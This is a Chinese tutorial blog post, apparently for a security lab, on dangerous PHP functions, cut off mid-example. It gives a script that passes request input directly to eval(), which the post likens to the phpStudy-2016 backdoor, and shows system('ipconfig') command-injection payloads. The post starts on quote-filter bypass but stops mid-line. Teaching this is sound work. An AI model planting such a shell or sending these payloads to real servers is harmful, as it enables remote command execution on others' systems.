常见PHP危险函数验证

1 eval 语句

        eval()会将符合PHP 语法规范字符串当作php 代码执行。

1.1 示例:

        首先在服务器端创建PHP脚本文件,构建危险语句,脚本代码如下:

<?php
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];

eval($code);

//	phpStudy-2016 后门的原理
?>

        首先定义一个变量“$code”,并进行判断是否为空,如果为空,执行“phpinfo();”代码,否则获取参数的值。

        访问该php文件,页面如下:

        给"$code"传送参数,传参方法可以查看之前的文章,

?code=system('ipconfig');

        该参数为PHP命令,面显示为:

        优化界面,将输出格式化,参数改为:   

?code=echo "<pre>";
system ('ipconfig');

 

1.2 绕过限制执行PHP 代码

        如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,进行上述传参会报错

<?php
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];

$code = 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值